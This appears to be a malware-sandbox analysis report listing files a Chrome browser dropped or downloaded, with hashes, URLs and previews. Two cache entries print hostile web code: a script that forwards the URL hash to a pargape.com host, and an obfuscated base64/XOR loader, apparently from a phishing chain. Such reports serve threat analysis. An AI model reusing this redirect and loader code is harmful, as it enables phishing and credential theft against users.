SHA-256:	3E82E9F60CE38815C28B0E5323268BDA212A84C3A9C7ACCC731360F998DF0240
SHA-512:	9B68F1C04BDE0024CECFC05A37932368CE2F09BD96C72AB0442E16C8CF5456ED9BB995901095AC1BBDF645255014A5E43AADEE475564F01CA6BE3889C96C29C9
Malicious:	false
Reputation:	unknown
Preview:	..t.o.r.r.e.s.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jul 3 17:32:16 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9936469488141677
Encrypted:	false
SSDEEP:
MD5:	E94821B4A7A611D58798804E69437451
SHA1:	1BCF22CDEA4287FF05DD47E2C40934A26F4333E1
SHA-256:	1262795AC3AF0D016FBF21F243F707F84FA775624C1248840E1DE75546F12448
SHA-512:	3DE9767B5B5CC3129A0A15AA65E7FE2C4AAB851268F8CC4D180FEA71BA6660CBC8E13198EC4FFDE121238745972AAB0E47115A00D8F315247E1D869D2A81B0CB
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....2o.Tw.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.X......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.X.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............&.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jul 3 17:32:16 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.010233904338526
Encrypted:	false
SSDEEP:
MD5:	0B01FBB9B8A096F85F1ECF08316F0214
SHA1:	82348D849A1BA874138F67B128BAACD890131AF3
SHA-256:	EAEAA5FDD36CC14AAFAF233739B40635FDFCDD3F99D6CFB3C36108860A2A2129
SHA-512:	9149CBC81A0E9AC4FDE057D7CAF76C77A981FF15D459CB575CA13B4455E9E8054D6E813D6C8183FE8EEFA0C29A87289702C418E8773A345068639511269AC026
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,..../e.Tw.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.X......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.X.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............&.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.020288011790985
Encrypted:	false
SSDEEP:
MD5:	CCC9F228EAAE7653076B904C222B0695
SHA1:	43FA8C35B747337E6E08B9D42858FADFC2631B6E
SHA-256:	258DF1037D138CF6100F7176656A8A1AC749EBF56BE746EF40F621E6C3CE3FCF
SHA-512:	2DC8FCA1D20946A50C33875815A42E25F5F139B05B693FEABDBD8D1B571302943D0758C45B963DCBE827B3A814CFAB0B90861081ACB2557C56B83224A4CAF3D3
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.X......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.X.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............&.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jul 3 17:32:16 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.010590667419597
Encrypted:	false
SSDEEP:
MD5:	1C6FB3522426168C8A056B91C26AC3F2
SHA1:	C7B6EA62137DE8870FC8CDA4BBBAC6C35A6BB0A0
SHA-256:	09F0B7E1B3A7D42B48D2D83DE49D5DF2392561BDA5E0A4C82DE489BE1C142B57
SHA-512:	DC7A421218CEE9CA2606283D44C394AD9C8065F8CA7325016317F09A8D796BBD920742DB025039D12FED6240EA602E85B39D01E99CD46ADC5E3E6084C7F3091B
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....@9.Tw.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.X......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.X.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............&.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jul 3 17:32:16 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.000632255826316
Encrypted:	false
SSDEEP:
MD5:	31C18B27354F8EF27D7BCBC9345DEB4A
SHA1:	DA14772031AE16458105903CEDA5FF583D6A7330
SHA-256:	A5106696E82D25D03D36EF0A606DFFCB71489A323DFA32C6CF7E08D519AD4E9F
SHA-512:	046AB4D385723BB4D5ED2E5DBD457A59D7ECBE1F65E84D914EA5ABE40CDA1E3C98A4FA52294DB12DFF44A533DC2FA2FFC6AB4221AAA67287CF1408907E44AC27
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....T.Tw.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.X......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.X.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............&.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jul 3 17:32:16 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.011814327351515
Encrypted:	false
SSDEEP:
MD5:	A1CCF0527DABEF107CDADCE29D235F1A
SHA1:	119B51136D9BAB08BFE0D0F2629A31B69D83F5EA
SHA-256:	2018CA036D4EB90E73CD5D7BD674E737FB8D72D65AB220174BE95C0F91A398D0
SHA-512:	52599B38F3828426996229C9F6CA358A2D708E0A62B6A7ED3C32FAAF88AB47DF273941CBFFD811B142278AC04FF96A2CB5F4A52B4C63299E6055077A6067A8E3
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......Tw.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.X......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.X.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............&.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	153
Entropy (8bit):	5.143155334929317
Encrypted:	false
SSDEEP:
MD5:	9D4CB5FF9E9227092B9F68244A6B3035
SHA1:	89026E16FA70E543F1B852EE77A7DF16ED491E1F
SHA-256:	02A2E05A6864054693B1C4E85371F011611AAB64F882F0E35E7E7DFD8D91BE5D
SHA-512:	3AE7634EFAA8EC75604D14FC8A3E4DA6F6EA72C8478EB2C479B5785E5A91F5C73F822C378F82B5FFE06C35335EFA0A85B5D926A32EA6050472BF9B47B527669B
Malicious:	false
Reputation:	unknown
URL:	https://brentwoodnsteel.shop/404.php?4-68747470733a2f2f7638796c572e706172676170652e636f6d2f34776d47672f-
Preview:	<script>.. HCNVoVopkEVRUGqj = location.hash.substring(0);.. location.href = "https://v8ylW.pargape.com/4wmGg/"+HCNVoVopkEVRUGqj;.. </script>

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1445), with CRLF line terminators
Category:	downloaded
Size (bytes):	1812
Entropy (8bit):	6.010819788311007
Encrypted:	false
SSDEEP:
MD5:	C4D6BA974F2F7E14568AA9925CAE6B52
SHA1:	D3F6F17763C95DC6ECD3BEC5E368416638B71F4B
SHA-256:	D3467470F0B5AADE300BB1AE4CBD59D6A45CB6E5E20857B87FA198C9250D1A7E
SHA-512:	1FD62891449070FBE2C6062F99F506E959F197417C7C44C2F62E58CF682C152732D01F0161401A871FA8F77E0801A2ABD92E87612EC90544787512A32C8FCBB5
Malicious:	false
Reputation:	unknown
URL:	https://v8ylw.pargape.com/4wmGg/
Preview:	<script>..function jtGCJBwLwY(wlQiRLlsBy, SIxXVpTIml) {..let ZCXDshPECJ = '';..wlQiRLlsBy = atob(wlQiRLlsBy);..let rRubeaLIYf = SIxXVpTIml.length;..for (let i = 0; i < wlQiRLlsBy.length; i++) {.. ZCXDshPECJ += String.fromCharCode(wlQiRLlsBy.charCodeAt(i) ^ SIxXVpTIml.charCodeAt(i % rRubeaLIYf));..}..return ZCXDshPECJ;..}..var TWkHREqZjY = jtGCJBwLwY(`a2x7GSc3PjJFR2tsMQs2ZQMpaCA3Dh0lMDV3fxEODwgjBTNrOy1SGBIPKARqLTYxWVcVEyUZMDd/cxhCa2whHyomIyteF0YUEQghBD4KVC4eTh4FLAA1Glk1ECtuSj9IXWIRWUYSNRNkPlpIEVlGRmdKZGUlJ0UMFAhnCDAqNmpQDQkEbzMrLRIgaREqEApDbWVqfxEgCQ4CCBwtGzR8QmtsZ0pkZSpiUhgSBS9KbCAlMBhZHWtNSmRld2IRWUYUIh4xNzliVxgKFSJRSU93YhFZG2tNF0lPPiQZLQ0/HjssHxg2QVlbW2dIZmwsTztZRkZnHS0rMy1GVwoJJAswLDgsHxEUAyFKeWUgK18dCRFpBismNjZYFghINwswLTkjXBxGTWdIe2d3aRFbLER8Z044WkhYH04yLDMdFD8Yfg0WRmZXeWV1YBgCa2xnSmRlPiQRURQwJQ8FLB8nZgFOMiwzHRQ/GH4NFk9uSj9IXWIRWUYQJhhkJh4UeigPChI8I2VqYlANCQRvPi8cDhNZIykSN0N/SF1iEVlGECYYZC0wJEQTCQ8tDRxlamIZGi8wDDstKQIUVlcLBzMJLG14amolEUhqN28FDCMcAydLHVppfHlvbFI6SBwLaT8Wb2tJS18a

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 29868, version 1.0
Category:	downloaded
Size (bytes):	29868
Entropy (8bit):	7.99276151568518
Encrypted:	true
SSDEEP:
MD5:	8B26CC331E323DDA95EA6D0DCF4D7542
SHA1:	1F6B0E5440044F6AA75B1F73D2F9C63A2F75BBA9
SHA-256:	2D5059C07B957F989EE2ED276E1F6D20428F4D3ED2523E7C305BD3E3EBC092EC
SHA-512:	95C866575DC440B59954228F38A2B1CFE942E4FC5FB3B6DCF76C5595F213AC8E7B78844ABFE81D689567CD951ED5C97E9D445AD3183016246BFC022D01AE1673
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/calligraffitti/v19/46k2lbT3XjDVqJw3DCmCFjE0vkFeOZc.woff2
Preview:	wOF2......t..........tR.........................`.......a.....l.....0..6.$..\. .....g......l\.v;@P..g..n.Vg8.... sI.....=..^...l.REF...0....SK.zR..K)......`..:.hS.ZD"...,.D.q..]...6.\|..BY.._..K&,...N...I0.J....0.Sc....y....{o$2I&.. .4.n{wl.&.)T....v....mw[.Y5....(...).J.X..QXX...b.....o}._.....+<..~... .....e...H..]..\Y.B.'...9>7...I.B.....<@..ZQj.bkng.[.r..^..].X..;.<:-s%.%<....$..........&....p".C.........O.N.......`8...........%q..}.=..G......IbK..._....#..R...J.. ..U...g..s..b.38_.C...1+".../..U......y....9....iO!.........PP(...m..XP..d..^..B........... a...m.&5!..>.Oc..-T...lg.=...av.kB.4Y.S....zvW..(4..v.....e.'....:...V'........u.?..Kt.Bs$..A..q!......._)j.,I...r..:D....U.V..@.b_.'.6..}.)......j.z.f..!.;.......J.+(N`...WJX+$o_k.....~.U...c.......L..1.....k..]..N.T...4k`X.Xk...p.8.#.x.+.k...\.b..J[.qQ..rr..u.".."W..Q..{..%.`:. &W..}k.cj=g.I.!..............I7p...%[.%......?..D..v.L...g...RP..,...o4.`....g..-.g=j>...fE.X.:pE.L.X.Y=

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	3
Entropy (8bit):	0.9182958340544896
Encrypted:	false
SSDEEP:
MD5:	D0BD571DC19C083D82F023C9666C5574
SHA1:	3E774731D33D9224AC36AF3D85BA1F81B31BC84D
SHA-256:	D6B5915C46057BCB005F46F6433DF65609DD3A7A57AF75AC1A5A4A7C299EBFFB
SHA-512:	C5E6686FE91CA1B71AB014588C517B18B4CC9F46DCB8F43EAA3D386A4CB9BFD7600B97462354D7B3319294D9AE1591F7DC6C2135B72DAB9DDBDEA892758D547E
Malicious:	false
Reputation:	unknown
Preview:	1:1

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 228 x 228, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23613
Entropy (8bit):	7.9858966066563735
Encrypted:	false
SSDEEP:
MD5:	80204231C6C999E9CE6B7ABCC33D93F1
SHA1:	CFBE4C559B134DE38367E618FC64B30690E2E257
SHA-256:	BA9C7C8265F7A11FE2C2FFE7B2CF3B8EEBD99D11EF224011777D93F2DC51B5E4
SHA-512:	40F43FB19545CF51F89E0F54CA744573C0246EEBF4BE0418E389016586E76652D2E1FFD918D883BBD0D7931B757C997EF54D244C68DDCD3FE13DF93D811750E1
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............W......sRGB.......@.IDATx..=.`.e.o.o6.WB:%...T...U..A............NE.<{..E...!...^Bz...nvw...6.2.;[S.O..\|.}....y.{.........` .......` .......` .......` .......` .......` .......` .......` .......` .......` .......` ......e.....\|.\|Y..E......`A...............Yu......M......c @....p.P.m."V;...,l>.X6I@..&.p-......\|..Ov]..\......W..Q..tv..d.p...8$B..n..0.S...R....y.]..N.F.......hQ..U.?.\...\.....,.......J......b @.V.f....j:..6..G...V.}~..cD..^..?.R........U.....\|.=...,k\|.X.s.)).2.....X......N..v....Z0.\.......?. Lw.F..s..$..U.....}..a.'.Q..... 8Ha.......U..PU..u.-8$k...a.......g.U.a...@E...eM....3....#..T#B....X.X.....r8]R..N...(....qj...u..N;...I.\......#;..cYv1>5.. =%......B...8WV...AK[..>.....+..\|.y.@......v7...p.{.Z....'bs..#M.........t6%.H...!.=0...C.5g[{..n.hvy`t.P.!.vn=....#..k=.....=.[.3xx..xVc\...l.z.F..6.....z.....Wt..../Y.3[.A.y..}...B.b.......v...g4._...aNy.....I.L.A.9d.&.B&.?..]&8....H..noUq...-0.

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, progressive, precision 8, 425x238, components 3
Category:	downloaded
Size (bytes):	4972
Entropy (8bit):	7.400462542322253
Encrypted:	false
SSDEEP:
MD5:	A95867DA0267DE42A9DCB047D56D308C
SHA1:	D806B8CC063985D825AA7197AA9B2F3493B70235
SHA-256:	A782C2077C9DF64B036EF29509E13C9C1691E2132BCFD34314933BE7E1F43C3D
SHA-512:	954DBBFBDAD990380F037BE68AE936CF2D3FED508E1FA437D0953A97DDB2025BAAAE174C69AE03AD5B2EB7040FE820FA1E7700ABC4EAE9AE0C86A87BB0646898
Malicious:	false
Reputation:	unknown
URL:	https://d3djdih2k2vfi2.cloudfront.net/forms-images/667c5a5b01ef84c1eaf4663e/667a2444124903e8f04f0524.jpeg?hash=1719280709789
Preview:	......JFIF.....x.x.....C....................................................................C............................................................................"........................................................................................................................................................Y...4fw..7.....sbcm--.....>B.=....................`.....z.^.....$ ..t.L....@............../.d..D......z....<.w.....L.........................bZ..,U...4...\...#.kD.0_zy:..\3..................L. .....\_.~.}n......!................c;7.v7.o.HL......[...K..s..~.b.'.............{..../85.B.u....\|..$......h.OrQ..L..v{n%..........H.(...0.q...S...N.L.%..x.\|..)v..J.R.1E]?.K]8...F.@$c.........!.........8..[.FV...1,3y.H..:.s.D... ..(.rB..f....@..V.)?k... ....................................................................,............................. P13452@!.#%0.............L..3Rf....3Rf..I...[J...I.i3.&q..'..,...~q_.W.....'......e}{..~..{(=...........W

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (22593)
Category:	downloaded
Size (bytes):	25313
Entropy (8bit):	5.042068879259945
Encrypted:	false
SSDEEP:
MD5:	CF4D34A24FF29EF38DBB9D1462986E94
SHA1:	2E52DFFD36663F58E3A71AF18B6074F7E6BB6C76
SHA-256:	2471D9BE5C4FB1381D500AC076E5C5B1494749DB4C1BA3DDD5C3D93C43E0C5E8
SHA-512:	F1ACFBBC942E12DD7B018B3CDDD1B127FE6CAABD21AB58B9F9D3FC2DF6AA1DB05E2B168DBA4A42DEB77CE28A2D80D90F500D168E62A3FE3641AB966B00D54205
Malicious:	false
Reputation:	unknown
URL:	https://form.questionscout.com/static/css/bundle.463f0bf5.css
Preview:	@charset "UTF-8";.CircularProgressbar{width:100%;vertical-align:middle}.CircularProgressbar .CircularProgressbar-path{stroke:#3e98c7;stroke-linecap:round;transition:stroke-dashoffset .5s ease 0s}.CircularProgressbar .CircularProgressbar-trail{stroke:#d6d6d6;stroke-linecap:round}.CircularProgressbar .CircularProgressbar-text{fill:#3e98c7;font-size:20px;dominant-baseline:middle;text-anchor:middle}.CircularProgressbar .CircularProgressbar-background{fill:#d6d6d6}.CircularProgressbar.CircularProgressbar-inverted .CircularProgressbar-background{fill:#3e98c7}.CircularProgressbar.CircularProgressbar-inverted .CircularProgressbar-text{fill:#fff}.CircularProgressbar.CircularProgressbar-inverted .CircularProgressbar-path{stroke:#fff}.CircularProgressbar.CircularProgressbar-inverted .CircularProgressbar-trail{stroke:transparent}.ps{overflow:hidden!important;overflow-anchor:none;-ms-overflow-style:none;touch-action:auto;-ms-touch-action:auto}.ps__rail-x{height:15px;bottom:0}.ps__rail-x,.ps__rail-y

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	185
Entropy (8bit):	5.03579079991282
Encrypted:	false
SSDEEP:
MD5:	16EADADE7930180E03DE9CDF91EF74A8
SHA1:	881F4D6FB1C4FF0E770153B8721CECC93FE7F6DC
SHA-256:	CCB266912D1EC246362BC223A6237810BEC6EE6A213F1F6B381F287A77A52337
SHA-512:	BF8B478CC0368E5FA2FF6024CA6E093C3AAA10EF3D8974404E4DDBDFD7AA3B842D5B064D81ECA54856F2105B0440B03D7DC26C87739BBA703F065D50A9640536
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en">.<head>.<meta charset="utf-8">.<title>Error</title>.</head>.<body>.<pre>Cannot GET /api/forms/667c5a5b01ef84c1eaf4663e/submissions</pre>.</body>.</html>.

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5482
Entropy (8bit):	5.4047808039713
Encrypted:	false
SSDEEP:
MD5:	508DC93D2B0B85F155DD8AB26120FF93
SHA1:	40E79EFFF891AE3E4075EB0132F51434DB227186
SHA-256:	0311C7D60389BC019330E3A10EEE70FAFFCB7A6671BBA9D86C8B7038F9E99DDE
SHA-512:	E29AC1C78048CC2E268A6CBE1A99915A2D6BD9BC82C72AD8930C0B31D8036B61E0678184C005CF310043F72B80B6704FCFCD15E8B9C84C4E8327A738EBAA4364
Malicious:	false
Reputation:	unknown
URL:	"https://fonts.googleapis.com/css?family=Lato:400,600%7CRoboto:400,500%7CCalligraffitti:400"
Preview:	/* latin /.@font-face {. font-family: 'Calligraffitti';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/calligraffitti/v19/46k2lbT3XjDVqJw3DCmCFjE0vkFeOZc.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext /.@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjxAwXjeu.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjx4wXg.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 83, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:
MD5:	E4B09680257663E86EB13B44B2B64E52
SHA1:	EEEFBC173BCD0D695FC1F7773C4E89AA41FF1CE8
SHA-256:	410723228373CE408F87F658B97B1D3AF35D0E2D14A888C3033C5ED4D5B64213
SHA-512:	F9523E9D6470D7A1F0326B0DCAB6D4579E6B7D61CA9F79ED1903722372FF522872A89805F5E24D3525D39D6DCA1A60A9A6F0A003E5177B2EB49FE622AF53DC6C
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/89d8f71dea598c1d/1720031622458/qLmzjWvoZyoNF-l
Preview:	.PNG........IHDR...(...S.....by.8....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	150
Entropy (8bit):	4.71909005431702
Encrypted:	false
SSDEEP:
MD5:	B9F0C5A0529CF1326094B392A4DBA2E4
SHA1:	292CB76546537091D25AE0FFAC530BDA7273D144
SHA-256:	4B8855EF9F00D408A1D38DA03497987C1DA4331EFE8B46F97569C638C4128304
SHA-512:	35C2910B03F44B74EB89472CE91A1A58F76549C1767320E202E764C544C4FFD492AE175CAA9085A6F334B7A11413675F0350DACF90DCBD507642773244C90159
